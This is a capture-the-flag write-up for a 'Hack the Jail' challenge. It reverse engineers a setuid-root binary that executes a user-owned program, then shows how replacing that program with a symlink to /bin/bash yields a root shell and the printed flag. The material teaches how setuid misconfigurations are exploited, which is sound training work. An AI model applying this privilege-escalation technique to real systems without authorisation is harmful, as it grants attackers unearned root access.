3.4 KiB
Hack the Jail - Part 2
Difficulty
Moderate - the participant needs to know about the setuid
bit, and needs to reverse engineer the binary using a tool such as Ghidra to gain more insight.
How To Solve
Connecting to the challenge
When connecting to the challenge's IP and port we get access to a shell running as the ig
user.
bash5.1$ whoami
ig
The flag is still on /flag.txt
, trying to read it results in a permission denied error as the file is only readable by root
.
bash-5.1$ cat /flag.txt
cat: can't open '/flag.txt': Permission denied
Unfortunately, our luck of last time has run out, a simple sudo cat /flag.txt
does not seem to work anymore.
In fact, sudo
is not even installed. Let's move on to see what is inside of our home directory.
We notice that it contains two files (which were listed on the CTF platform in binary format as well):
- execute: a binary that is owned by root and has the following permissions: -rwsr-sr-x
- hello_world: a binary owned by the IG user that has the following permissions: -rwxr-xr-x
Comparing the two types of permissions, we notice that the execute
binary has a special permission called s
.
This indicates that the binary has the setuid
capability, which means that it is able to change the user it is running as during its execution. We will come back to this later, as we will first reverse engineer both binaries.
Reverse Engineering the Binaries
Hello World
Importing the hello_world
program into Ghidra reveals that it indeed is a simple hello_world
program:
undefined8 main(void)
{
puts("Hello World");
return 0;
}
Nothing to see here.
The "execute" program
The execute
program is far more interesting:
undefined8 main(void)
{
long in_FS_OFFSET;
char *local_20;
char *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_20 = (char *)0x0;
local_18 = (char *)0x0;
setuid(0);
execve("./hello_world",&local_20,&local_18);
puts("Could not execute program");
perror("execve");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Ignoring all memory allocations on top of the main
function, we notice that the program first ensures that it is running as root. It can accomplish this by changing the user id it is running as using the setuid
function. Typically, the user id 0
corresponds to the root
or superuser
of the system.
Note that this call would fail if the setuid
capability bit was not set, because the ig
user does not have permission to change the running user to root
.
After it has changed the user it is running as, it replaces itself with the hello_world
binary using the execve
function.
The Attack
Since the hello_world
binary is owned by the ig
user, we also have permission to change it.
Here we could change it to something that is able to read the /flag.txt
file (using a bash script or another compiled C program). However, the easiest solution is to replace the binary with a shell, such that we can obtain a shell as the root
user.
$ rm hello_world
$ ln -s /bin/bash hello_world
Running execute
again results in a root
shell!
bash5.1$ ./execute
bash5.1$ whoami
root
bash5.1$ cat /flag.txt
IGCTF{S3tUid?B3C4refulWith1t!}
Flag
IGCTF{S3tUid?B3C4refulWith1t!}